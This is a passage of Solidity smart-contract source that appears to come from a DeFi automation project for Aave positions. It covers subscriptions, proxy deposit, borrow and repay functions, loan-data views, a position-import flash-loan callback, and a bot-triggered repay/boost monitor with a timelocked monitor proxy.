repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Aave position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Aave position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Aave position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (AaveHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (AaveHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (AaveHolder[] memory) { AaveHolder[] memory holders = new AaveHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a position /// @param _user The actual address that owns the Aave position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } pragma solidity ^0.6.0; import "../utils/GasBurner.sol"; import "../interfaces/TokenInterface.sol"; import "../interfaces/IAToken.sol"; import "../interfaces/ILendingPoolV2.sol"; import "./AaveHelperV2.sol"; import "../utils/SafeERC20.sol"; /// @title Basic compound interactions through the DSProxy contract AaveBasicProxyV2 is GasBurner, AaveHelperV2 { using SafeERC20 for ERC20; /// @notice User deposits tokens to the Aave protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _market address provider for specific market /// @param _tokenAddr The address of the token to be deposited /// @param _amount Amount of tokens to be deposited function deposit(address _market, address _tokenAddr, uint256 _amount) public burnGas(5) payable { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); if (_tokenAddr == ETH_ADDR) { require(msg.value == _amount); TokenInterface(WETH_ADDRESS).deposit{value: _amount}(); _tokenAddr = WETH_ADDRESS; } else { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, lendingPool); ILendingPoolV2(lendingPool).deposit(_tokenAddr, _amount, address(this), AAVE_REFERRAL_CODE); setUserUseReserveAsCollateralIfNeeded(_market, _tokenAddr); } /// @notice User withdraws tokens from the Aave protocol /// @param _market address provider for specific market /// @param _tokenAddr The address of the token to be withdrawn /// @param _amount Amount of tokens to be withdrawn -> send -1 for whole amount function withdraw(address _market, address _tokenAddr, uint256 _amount) public burnGas(8) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); _tokenAddr = changeToWeth(_tokenAddr); if (_tokenAddr == WETH_ADDRESS) { // if weth, pull to proxy and return ETH to user ILendingPoolV2(lendingPool).withdraw(_tokenAddr, _amount, address(this)); // needs to use balance of in case that amount is -1 for whole debt TokenInterface(WETH_ADDRESS).withdraw(TokenInterface(WETH_ADDRESS).balanceOf(address(this))); msg.sender.transfer(address(this).balance); } else { // if not eth send directly to user ILendingPoolV2(lendingPool).withdraw(_tokenAddr, _amount, msg.sender); } } /// @notice User borrows tokens to the Aave protocol /// @param _market address provider for specific market /// @param _tokenAddr The address of the token to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _type Send 1 for stable rate and 2 for variable function borrow(address _market, address _tokenAddr, uint256 _amount, uint256 _type) public burnGas(8) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); _tokenAddr = changeToWeth(_tokenAddr); ILendingPoolV2(lendingPool).borrow(_tokenAddr, _amount, _type, AAVE_REFERRAL_CODE, address(this)); if (_tokenAddr == WETH_ADDRESS) { // we do this so the user gets eth instead of weth TokenInterface(WETH_ADDRESS).withdraw(_amount); _tokenAddr = ETH_ADDR; } withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _market address provider for specific market /// @param _tokenAddr The address of the token to be paybacked /// @param _amount Amount of tokens to be payed back function payback(address _market, address _tokenAddr, uint256 _amount, uint256 _rateMode) public burnGas(3) payable { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); _tokenAddr = changeToWeth(_tokenAddr); if (_tokenAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).deposit{value: msg.value}(); } else { uint amountToPull = min(_amount, ERC20(_tokenAddr).balanceOf(msg.sender)); ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amountToPull); } approveToken(_tokenAddr, lendingPool); ILendingPoolV2(lendingPool).repay(_tokenAddr, _amount, _rateMode, payable(address(this))); if (_tokenAddr == WETH_ADDRESS) { // Pull if we have any eth leftover TokenInterface(WETH_ADDRESS).withdraw(ERC20(WETH_ADDRESS).balanceOf(address(this))); _tokenAddr = ETH_ADDR; } withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _market address provider for specific market /// @param _tokenAddr The address of the token to be paybacked /// @param _amount Amount of tokens to be payed back function paybackOnBehalf(address _market, address _tokenAddr, uint256 _amount, uint256 _rateMode, address _onBehalf) public burnGas(3) payable { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); _tokenAddr = changeToWeth(_tokenAddr); if (_tokenAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).deposit{value: msg.value}(); } else { uint amountToPull = min(_amount, ERC20(_tokenAddr).allowance(msg.sender, address(this))); ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amountToPull); } approveToken(_tokenAddr, lendingPool); ILendingPoolV2(lendingPool).repay(_tokenAddr, _amount, _rateMode, _onBehalf); if (_tokenAddr == WETH_ADDRESS) { // we do this so the user gets eth instead of weth TokenInterface(WETH_ADDRESS).withdraw(_amount); _tokenAddr = ETH_ADDR; } withdrawTokens(_tokenAddr); } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this)); if (amount > 0) { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, amount); } else { msg.sender.transfer(amount); } } } function setUserUseReserveAsCollateralIfNeeded(address _market, address _tokenAddr) public { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); (,,,,,,,,bool collateralEnabled) = dataProvider.getUserReserveData(_tokenAddr, address(this)); if (!collateralEnabled) { ILendingPoolV2(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, true); } } function setUserUseReserveAsCollateral(address _market, address _tokenAddr, bool _true) public { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); ILendingPoolV2(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, _true); } // stable = 1, variable = 2 function swapBorrowRateMode(address _market, address _reserve, uint _rateMode) public { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); ILendingPoolV2(lendingPool).swapBorrowRateMode(_reserve, _rateMode); } function changeToWeth(address _token) private view returns(address) { if (_token == ETH_ADDR) { return WETH_ADDRESS; } return _token; } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./AaveSafetyRatioV2.sol"; import "../interfaces/IAaveProtocolDataProviderV2.sol"; contract AaveLoanInfoV2 is AaveSafetyRatioV2 { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint256[] collAmounts; uint256[] borrowStableAmounts; uint256[] borrowVariableAmounts; } struct TokenInfo { address aTokenAddress; address underlyingTokenAddress; uint256 collateralFactor; uint256 price; } struct TokenInfoFull { address aTokenAddress; address underlyingTokenAddress; uint256 supplyRate; uint256 borrowRateVariable; uint256 borrowRateStable; uint256 totalSupply; uint256 availableLiquidity; uint256 totalBorrow; uint256 collateralFactor; uint256 liquidationRatio; uint256 price; bool usageAsCollateralEnabled; bool borrowinEnabled; bool stableBorrowRateEnabled; } struct ReserveData { uint256 availableLiquidity; uint256 totalStableDebt; uint256 totalVariableDebt; uint256 liquidityRate; uint256 variableBorrowRate; uint256 stableBorrowRate; } struct UserToken { address token; uint256 balance; uint256 borrowsStable; uint256 borrowsVariable; uint256 stableBorrowRate; bool enabledAsCollateral; } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _user Address of the user function getRatio(address _market, address _user) public view returns (uint256) { // For each asset the account is in return getSafetyRatio(_market, _user); } /// @notice Fetches Aave prices for tokens /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _tokens Arr. of tokens for which to get the prices /// @return prices Array of prices function getPrices(address _market, address[] memory _tokens) public view returns (uint256[] memory prices) { address priceOracleAddress = ILendingPoolAddressesProviderV2(_market).getPriceOracle(); prices = IPriceOracleGetterAave(priceOracleAddress).getAssetsPrices(_tokens); } /// @notice Fetches Aave collateral factors for tokens /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _tokens Arr. of tokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address _market, address[] memory _tokens) public view returns (uint256[] memory collFactors) { IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); collFactors = new uint256[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { (,collFactors[i],,,,,,,,) = dataProvider.getReserveConfigurationData(_tokens[i]); } } function getTokenBalances(address _market, address _user, address[] memory _tokens) public view returns (UserToken[] memory userTokens) { IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); userTokens = new UserToken[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { address asset = _tokens[i]; userTokens[i].token = asset; (userTokens[i].balance, userTokens[i].borrowsStable, userTokens[i].borrowsVariable,,,userTokens[i].stableBorrowRate,,,userTokens[i].enabledAsCollateral) = dataProvider.getUserReserveData(asset, _user); } } /// @notice Calcualted the ratio of coll/debt for an aave user /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address _market, address[] memory _users) public view returns (uint256[] memory ratios) { ratios = new uint256[](_users.length); for (uint256 i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_market, _users[i]); } } /// @notice Information about reserves /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _tokenAddresses Array of tokens addresses /// @return tokens Array of reserves infomartion function getTokensInfo(address _market, address[] memory _tokenAddresses) public view returns(TokenInfo[] memory tokens) { IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); address priceOracleAddress = ILendingPoolAddressesProviderV2(_market).getPriceOracle(); tokens = new TokenInfo[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (,uint256 ltv,,,,,,,,) = dataProvider.getReserveConfigurationData(_tokenAddresses[i]); (address aToken,,) = dataProvider.getReserveTokensAddresses(_tokenAddresses[i]); tokens[i] = TokenInfo({ aTokenAddress: aToken, underlyingTokenAddress: _tokenAddresses[i], collateralFactor: ltv, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]) }); } } function getTokenInfoFull(IAaveProtocolDataProviderV2 _dataProvider, address _priceOracleAddress, address _token) private view returns(TokenInfoFull memory _tokenInfo) { ( , // uint256 decimals uint256 ltv, uint256 liquidationThreshold, , // uint256 liquidationBonus , // uint256 reserveFactor bool usageAsCollateralEnabled, bool borrowinEnabled, bool stableBorrowRateEnabled, , // bool isActive // bool isFrozen ) = _dataProvider.getReserveConfigurationData(_token); ReserveData memory t; ( t.availableLiquidity, t.totalStableDebt, t.totalVariableDebt, t.liquidityRate, t.variableBorrowRate, t.stableBorrowRate, , , , ) = _dataProvider.getReserveData(_token); (address aToken,,) = _dataProvider.getReserveTokensAddresses(_token); uint price = IPriceOracleGetterAave(_priceOracleAddress).getAssetPrice(_token); _tokenInfo = TokenInfoFull({ aTokenAddress: aToken, underlyingTokenAddress: _token, supplyRate: t.liquidityRate, borrowRateVariable: t.variableBorrowRate, borrowRateStable: t.stableBorrowRate, totalSupply: ERC20(aToken).totalSupply(), availableLiquidity: t.availableLiquidity, totalBorrow: t.totalVariableDebt+t.totalStableDebt, collateralFactor: ltv, liquidationRatio: liquidationThreshold, price: price, usageAsCollateralEnabled: usageAsCollateralEnabled, borrowinEnabled: borrowinEnabled, stableBorrowRateEnabled: stableBorrowRateEnabled }); } /// @notice Information about reserves /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _tokenAddresses Array of token addresses /// @return tokens Array of reserves infomartion function getFullTokensInfo(address _market, address[] memory _tokenAddresses) public view returns(TokenInfoFull[] memory tokens) { IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); address priceOracleAddress = ILendingPoolAddressesProviderV2(_market).getPriceOracle(); tokens = new TokenInfoFull[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { tokens[i] = getTokenInfoFull(dataProvider, priceOracleAddress, _tokenAddresses[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _market, address _user) public view returns (LoanData memory data) { IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); address priceOracleAddress = ILendingPoolAddressesProviderV2(_market).getPriceOracle(); IAaveProtocolDataProviderV2.TokenData[] memory reserves = dataProvider.getAllReservesTokens(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](reserves.length), borrowAddr: new address[](reserves.length), collAmounts: new uint[](reserves.length), borrowStableAmounts: new uint[](reserves.length), borrowVariableAmounts: new uint[](reserves.length) }); uint64 collPos = 0; uint64 borrowStablePos = 0; uint64 borrowVariablePos = 0; for (uint64 i = 0; i < reserves.length; i++) { address reserve = reserves[i].tokenAddress; (uint256 aTokenBalance, uint256 borrowsStable, uint256 borrowsVariable,,,,,,) = dataProvider.getUserReserveData(reserve, _user); uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(reserve); if (aTokenBalance > 0) { uint256 userTokenBalanceEth = wmul(aTokenBalance, price) * (10 ** (18 - _getDecimals(reserve))); data.collAddr[collPos] = reserve; data.collAmounts[collPos] = userTokenBalanceEth; collPos++; } // Sum up debt in Eth if (borrowsStable > 0) { uint256 userBorrowBalanceEth = wmul(borrowsStable, price) * (10 ** (18 - _getDecimals(reserve))); data.borrowAddr[borrowStablePos] = reserve; data.borrowStableAmounts[borrowStablePos] = userBorrowBalanceEth; borrowStablePos++; } // Sum up debt in Eth if (borrowsVariable > 0) { uint256 userBorrowBalanceEth = wmul(borrowsVariable, price) * (10 ** (18 - _getDecimals(reserve))); data.borrowAddr[borrowVariablePos] = reserve; data.borrowVariableAmounts[borrowVariablePos] = userBorrowBalanceEth; borrowVariablePos++; } } data.ratio = uint128(getSafetyRatio(_market, _user)); return data; } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _market Address of LendingPoolAddressesProvider for specific market /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address _market, address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_market, _users[i]); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../savings/dydx/ISoloMargin.sol"; import "../../utils/SafeERC20.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSProxy.sol"; import "../AaveHelper.sol"; import "../../auth/AdminAuth.sol"; // weth->eth // deposit eth for users proxy // borrow users token from proxy // repay on behalf of user // pull user supply // take eth amount from supply (if needed more, borrow it?) // return eth to sender /// @title Import Aave position from account to wallet contract AaveImport is AaveHelper, AdminAuth { using SafeERC20 for ERC20; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant BASIC_PROXY = 0xF499FB2feb3351aEA373723a6A0e8F6BE6fBF616; address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; address public constant PULL_TOKENS_PROXY = 0x45431b79F783e0BF0fe7eF32D06A3e061780bfc4; function callFunction( address, Account.Info memory, bytes memory data ) public { ( address collateralToken, address borrowToken, uint256 ethAmount, address proxy ) = abi.decode(data, (address,address,uint256,address)); address user = DSProxy(payable(proxy)).owner(); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address aCollateralToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(collateralToken); address aBorrowToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(borrowToken); uint256 globalBorrowAmount = 0; { // avoid stack too deep // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount)); // borrow needed amount to repay users borrow (,uint256 borrowAmount,,uint256 borrowRateMode,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(borrowToken, user); borrowAmount += originationFee; DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,uint256,uint256)", borrowToken, borrowAmount, borrowRateMode)); globalBorrowAmount = borrowAmount; } // payback on behalf of user if (borrowToken != ETH_ADDR) { ERC20(borrowToken).safeApprove(proxy, globalBorrowAmount); DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user)); } else { DSProxy(payable(proxy)).execute{value: globalBorrowAmount}(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user)); } // pull coll tokens DSProxy(payable(proxy)).execute(PULL_TOKENS_PROXY, abi.encodeWithSignature("pullTokens(address,uint256)", aCollateralToken, ERC20(aCollateralToken).balanceOf(user))); // enable as collateral DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("setUserUseReserveAsCollateralIfNeeded(address)", collateralToken)); // withdraw deposited eth DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit{value: (address(this).balance)}(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } /// @dev if contract receive eth, convert it to WETH receive() external payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit{value: (address(this).balance)}(); } } } pragma solidity ^0.6.0; import "./AaveHelper.sol"; contract AaveSafetyRatio is AaveHelper { function getSafetyRatio(address _user) public view returns(uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,uint256 totalBorrowsETH,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); if (totalBorrowsETH == 0) return uint256(0); return wdiv(add(totalBorrowsETH, availableBorrowsETH), totalBorrowsETH); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "./AaveMonitorProxy.sol"; import "./AaveSubscriptions.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../../loggers/DefisaverLogger.sol"; import "../AaveSafetyRatio.sol"; import "../../exchange/SaverExchangeCore.sol"; /// @title Contract implements logic of calling boost/repay in the automatic system contract AaveMonitor is AdminAuth, DSMath, AaveSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 20; uint public BOOST_GAS_TOKEN = 20; uint public MAX_GAS_PRICE = 400000000000; // 400 gwei uint public REPAY_GAS_COST = 2000000; uint public BOOST_GAS_COST = 2000000; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; AaveMonitorProxy public aaveMonitorProxy; AaveSubscriptions public subscriptionsContract; address public aaveSaverProxy; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } /// @param _aaveMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Aave positions /// @param _aaveSaverProxy Contract that actually performs Repay/Boost constructor(address _aaveMonitorProxy, address _subscriptions, address _aaveSaverProxy) public { aaveMonitorProxy = AaveMonitorProxy(_aaveMonitorProxy); subscriptionsContract = AaveSubscriptions(_subscriptions); aaveSaverProxy = _aaveSaverProxy; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by AaveMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); AaveSubscriptions.AaveHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { AaveSubscriptions.AaveHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice As the code is new, have a emergancy admin saver proxy change function changeAaveSaverProxy(address _newAaveSaverProxy) public onlyAdmin { aaveSaverProxy = _newAaveSaverProxy; } /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change gas token amount /// @param _gasTokenAmount New gas token amount /// @param _repay true if repay gas token, false if boost gas token function changeGasTokenAmount(uint _gasTokenAmount, bool _repay) public onlyOwner { if (_repay) { REPAY_GAS_TOKEN = _gasTokenAmount; } else { BOOST_GAS_TOKEN = _gasTokenAmount; } } } pragma solidity ^0.6.0; import "../../interfaces/DSProxyInterface.sol"; import "../../utils/SafeERC20.sol"; import "../../auth/AdminAuth.sol"; /// @title Contract with the actuall DSProxy permission calls the automation operations contract AaveMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _aaveSaverProxy Address of AaveSaverProxy /// @param _data Data to send to AaveSaverProxy function callExecute(address _owner, address _aaveSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_aaveSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = 